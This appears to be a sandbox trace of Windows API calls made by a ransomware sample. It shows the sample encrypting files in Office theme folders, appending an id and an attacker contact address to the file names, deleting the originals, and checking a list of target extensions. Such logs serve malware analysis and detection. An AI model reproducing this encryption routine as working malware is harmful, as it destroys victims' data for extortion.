	[0051.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.159] GetLastError () returned 0x0
	[0051.159] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x47ed, lpOverlapped=0x0) returned 1
	[0051.161] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x47f0, lpOverlapped=0x0) returned 1
	[0051.162] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.162] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.162] SetEndOfFile (hFile=0x1dc) returned 1
	[0051.163] CloseHandle (hObject=0x1dc) returned 1
	[0051.163] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.163] SetEndOfFile (hFile=0x1a0) returned 1
	[0051.164] CloseHandle (hObject=0x1a0) returned 1
	[0051.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.164] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1
	[0051.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.164] lstrlenW (lpString=".doc") returned 4
	[0051.164] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.164] lstrlenW (lpString=".docx") returned 5
	[0051.164] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.164] lstrlenW (lpString=".pdf") returned 4
	[0051.165] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.165] lstrlenW (lpString=".xls") returned 4
	[0051.165] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.165] lstrlenW (lpString=".xlsx") returned 5
	[0051.165] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.165] lstrlenW (lpString=".ppt") returned 4
	[0051.165] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString=".zip") returned 4
	[0051.165] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.165] lstrlenW (lpString=".rar") returned 4
	[0051.165] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.165] lstrlenW (lpString=".bz2") returned 4
	[0051.165] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.165] lstrlenW (lpString=".7z") returned 3
	[0051.165] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString=".dbf") returned 4
	[0051.165] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString=".1cd") returned 4
	[0051.165] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString=".jpg") returned 4
	[0051.165] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.165] lstrlenW (lpString=".doc") returned 4
	[0051.165] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.166] lstrlenW (lpString=".docx") returned 5
	[0051.166] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.166] lstrlenW (lpString=".pdf") returned 4
	[0051.166] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.166] lstrlenW (lpString=".xls") returned 4
	[0051.166] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.166] lstrlenW (lpString=".xlsx") returned 5
	[0051.166] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.166] lstrlenW (lpString=".ppt") returned 4
	[0051.166] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.166] lstrlenW (lpString=".zip") returned 4
	[0051.166] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.166] lstrlenW (lpString=".rar") returned 4
	[0051.166] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.166] lstrlenW (lpString=".bz2") returned 4
	[0051.166] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.166] lstrlenW (lpString=".7z") returned 3
	[0051.166] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.166] lstrlenW (lpString=".dbf") returned 4
	[0051.166] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.166] lstrlenW (lpString=".1cd") returned 4
	[0051.443] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0051.444] lstrlenW (lpString=".jpg") returned 4
	[0051.444] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.444] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.444] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.758] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=48115) returned 1
	[0051.758] CloseHandle (hObject=0x178) returned 1
	[0051.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20
	[0051.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.758] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.759] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.759] GetLastError () returned 0x0
	[0051.759] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xbbf3, lpOverlapped=0x0) returned 1
	[0051.764] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbc00, lpOverlapped=0x0) returned 1
	[0051.765] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.765] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.765] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.765] CloseHandle (hObject=0x1a4) returned 1
	[0051.765] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.766] SetEndOfFile (hFile=0x178) returned 1
	[0051.767] CloseHandle (hObject=0x178) returned 1
	[0051.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.767] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1
	[0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.767] lstrlenW (lpString=".doc") returned 4
	[0051.767] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.767] lstrlenW (lpString=".docx") returned 5
	[0051.767] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.767] lstrlenW (lpString=".pdf") returned 4
	[0051.767] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.767] lstrlenW (lpString=".xls") returned 4
	[0051.767] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.767] lstrlenW (lpString=".xlsx") returned 5
	[0051.767] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.767] lstrlenW (lpString=".ppt") returned 4
	[0051.767] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString=".zip") returned 4
	[0051.768] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.768] lstrlenW (lpString=".rar") returned 4
	[0051.768] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.768] lstrlenW (lpString=".bz2") returned 4
	[0051.768] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString=".7z") returned 3
	[0051.768] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString=".dbf") returned 4
	[0051.768] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString=".1cd") returned 4
	[0051.768] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString=".jpg") returned 4
	[0051.768] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.768] lstrlenW (lpString=".doc") returned 4
	[0051.768] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString=".docx") returned 5
	[0051.768] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.768] lstrlenW (lpString=".pdf") returned 4
	[0051.768] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.768] lstrlenW (lpString=".xls") returned 4
	[0051.768] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.768] lstrlenW (lpString=".xlsx") returned 5
	[0051.768] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.768] lstrlenW (lpString=".ppt") returned 4
	[0051.768] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.769] lstrlenW (lpString=".zip") returned 4
	[0051.769] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.769] lstrlenW (lpString=".rar") returned 4
	[0051.769] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.769] lstrlenW (lpString=".bz2") returned 4
	[0051.769] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.769] lstrlenW (lpString=".7z") returned 3
	[0051.769] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.769] lstrlenW (lpString=".dbf") returned 4
	[0051.769] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.769] lstrlenW (lpString=".1cd") returned 4
	[0051.769] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
	[0051.769] lstrlenW (lpString=".jpg") returned 4
	[0051.769] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.769] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.769] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.773] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1666) returned 1
	[0051.773] CloseHandle (hObject=0x178) returned 1
	[0051.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20
	[0051.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.773] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.773] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.785] GetLastError () returned 0x0
	[0051.785] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x682, lpOverlapped=0x0) returned 1
	[0051.798] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x690, lpOverlapped=0x0) returned 1
	[0051.799] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.799] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.799] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.799] CloseHandle (hObject=0x1a4) returned 1
	[0051.799] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.800] SetEndOfFile (hFile=0x178) returned 1
	[0051.800] CloseHandle (hObject=0x178) returned 1
	[0051.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.801] lstrlenW (lpString=".doc") returned 4
	[0051.801] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.801] lstrlenW (lpString=".docx") returned 5
	[0051.801] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.801] lstrlenW (lpString=".pdf") returned 4
	[0051.801] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xls") returned 4
	[0051.801] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xlsx") returned 5
	[0051.801] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.801] lstrlenW (lpString=".ppt") returned 4
	[0051.801] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.801] lstrlenW (lpString=".zip") returned 4
	[0051.802] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString=".rar") returned 4
	[0051.802] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString=".bz2") returned 4
	[0051.802] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString=".7z") returned 3
	[0051.802] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.802] lstrlenW (lpString=".dbf") returned 4
	[0051.802] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.802] lstrlenW (lpString=".1cd") returned 4
	[0051.802] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.802] lstrlenW (lpString=".jpg") returned 4
	[0051.802] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.802] lstrlenW (lpString=".doc") returned 4
	[0051.802] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString=".docx") returned 5
	[0051.802] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.802] lstrlenW (lpString=".pdf") returned 4
	[0051.802] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString=".xls") returned 4
	[0051.803] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.803] lstrlenW (lpString=".xlsx") returned 5
	[0051.803] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.803] lstrlenW (lpString=".ppt") returned 4
	[0051.803] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.803] lstrlenW (lpString=".zip") returned 4
	[0051.803] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.803] lstrlenW (lpString=".rar") returned 4
	[0051.803] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.803] lstrlenW (lpString=".bz2") returned 4
	[0051.803] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.803] lstrlenW (lpString=".7z") returned 3
	[0051.803] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.803] lstrlenW (lpString=".dbf") returned 4
	[0051.803] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.803] lstrlenW (lpString=".1cd") returned 4
	[0051.803] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74
	[0051.803] lstrlenW (lpString=".jpg") returned 4
	[0051.803] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.804] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.804] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.804] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=19563) returned 1
	[0051.804] CloseHandle (hObject=0x178) returned 1
	[0051.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20
	[0051.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
